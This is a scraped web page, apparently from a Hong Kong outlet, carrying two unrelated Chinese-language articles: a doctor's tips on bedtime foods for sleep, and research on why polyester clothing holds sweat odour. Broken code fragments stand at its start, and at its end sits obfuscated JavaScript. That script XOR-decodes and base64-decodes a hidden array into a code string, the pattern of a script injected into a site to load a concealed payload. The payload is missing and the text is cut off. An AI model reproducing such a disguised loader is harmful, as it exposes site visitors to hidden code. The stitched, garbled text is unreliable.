zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

香港人生活节奏急促、工作压力庞大，“不够瞓”已成为绝大多数打工仔与学生的生活常态。许多人饱受失眠之苦，每晚在床上辗转反侧。对此，消化内科专科医生萧伟成指出，有时睡眠质素欠佳，身体缺的未必是安眠药，而是晚餐后的特定营养。只要在晚餐后适量补充天然助眠食物，就能有效协助大脑“安心关机”。 大脑睡眠讯号由原料决定 萧伟成医生表示，从躺上床到进入深层睡眠，人体内部会经历一连串复杂的化学反应。大脑需要利用食物中摄取到的“色胺酸”来制造血清素，进而转换成掌控睡眠的褪黑激素。 如果体内原料不足、精神压力过大或血糖不稳，大脑就无法顺利启动睡眠讯号，临床上便会延伸出难以入睡、半夜易醒、浅眠、多梦等四大睡眠障碍。除了寻求药物治疗，市民亦可经由日常食材额外补充褪黑激素。萧医生建议，最佳的进食时间为晚餐饭后、约天黑后一至两小时，此时摄取少量助眠食物最能发挥辅助效果；但若失眠是由严重焦虑引起，则仍应寻求专业精神科或药物协助。 5大助眠食材助安眠 香蕉含有天然色胺酸 想要为大脑补充足够的睡眠原料，萧医生推荐以下5种食材，并特别强调必须精准拿捏份量，切忌贪多： 香蕉（1 条）： 富含镁与钾，能有效放松绷紧的肌肉，且含有天然色胺酸，可于体内转化为褪黑激素。 燕麦（1 小马克杯）： 含有复合型碳水化合物，能显著提高血清素的生成效率。 牛奶（1 小马克杯）： 含有色胺酸，但切勿过量饮用，否则会产生饱胀感，甚至引发胃酸倒流、消化不良。 核桃与杏仁（1 小拳头份量）： 富含镁与维生素 B 群，能稳定神经系统、减少夜间无故觉醒的次数。 奇异果（1 个拳头大小）： 富含天然血清素与抗氧化物，同样切记不可吃过量，以免血糖上升过快。 4大守则避免消化不良 虽然补充特定营养有助入眠，但萧伟成医生提醒，临睡前的饮食绝非“愈多愈好”。若吃得太饱，肠胃在睡眠期间仍须被迫努力蠕动进行消化，不仅严重影响深层睡眠品质，还会因饱胀感与胃酸逆流引致胸口灼热（俗称“烧心”）。 针对夜间饮食，医生给予市民以下四点核心建议： 控制时间： 助眠食物应在睡前 1 至 2 小时食用完毕，留给肠胃消化时间。 分量精准： 以轻食、少量为主，绝不建议当作宵夜过量进食。 拒绝重口味： 睡前必须避免摄取高糖分、高油炸及难消化的食物。 限制刺激物： 入夜后应严格减少咖啡因（如浓茶、咖啡）与酒精的摄取，避免中断睡眠周期。 ...

炎炎夏日，稍一活动便汗流浃背，但你有否发现，穿着某些运动衫后，汗臭味特别浓烈，即使清洗后依然残留“酸馊味”？加拿大亚伯达大学一项研究为此解开谜团：原来衣服材质才是汗臭的真正元凶，是聚酯纤维（Polyester）。炎热天气下又该选择哪种衣料最合适？了解科学原理，便能轻松告别尴尬体味。 酸馊味元凶：聚酯纤维令臭味卡住难洗走 亚伯达大学纺织服装系研究员Rachel McQueen博士领导的团队，将不同纤维浸泡在模拟汗液中，分析其吸附及释放臭味化合物的能力。结果发现，棉（Cotton）和黏胶纤维（Viscose）等植物性纤维素纤维，吸附并释出的臭味化合物数量较少；而聚酯纤维、尼龙（Nylon）和羊毛（Wool）则释出较多难闻气味。 McQueen博士解释：“聚酯纤维属于‘疏水’材质，却非常‘亲油’。汗水中的脂肪酸和挥发性有机化合物会被牢牢锁在纤维内部，一般清洗难以完全移除。随着衣物反复穿着、清洗，残留的臭味油脂不断积聚，再度接触皮肤时便会释出酸臭味。” 贴士1：棉与黏胶纤维较佳 尼龙羊毛通风即可 研究发现，虽然尼龙和羊毛初期会吸附大量臭味化合物，但它们释放的速度较聚酯纤维快。经过24小时后，尼龙和羊毛的臭味化合物排放水平已大幅下降，接近植物性纤维素纤维的水平。因此，McQueen博士建议：“聚酯纤维衣物必须清洗才能去除异味；但尼龙和羊毛衣物不一定需要即时清洗，挂在通风处晾一晾，臭味便会消散。” 因此，在运动或炎热天气日子，可优先选择棉、黏胶纤维或两者混纺的衣物，减少臭味残留。日常上班出门，可选择尼龙或羊毛材质，回家后挂在通风处晾干即可，无需频繁清洗。 贴士2：避免聚酯纤维 标榜抗菌也未必有效 McQueen博士指出，消费者选购运动衫或日常衣物时，若担心汗味问题，应尽量避免聚酯纤维。即使产品标榜“抗菌”，由于纤维化学结构与汗液臭味化合物的相互作用，抗菌功能也未必能有效中和异味。若无法避免，每次穿着后应尽快用适当清洁剂彻底清洗，并在阳光下晾晒，助分解残留油脂。 她希望研究结果能推动纺织业界研发改良版聚酯纤维，使其更吸水、更少吸附脂肪酸，从源头解决问题。 资料来源：YNET T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...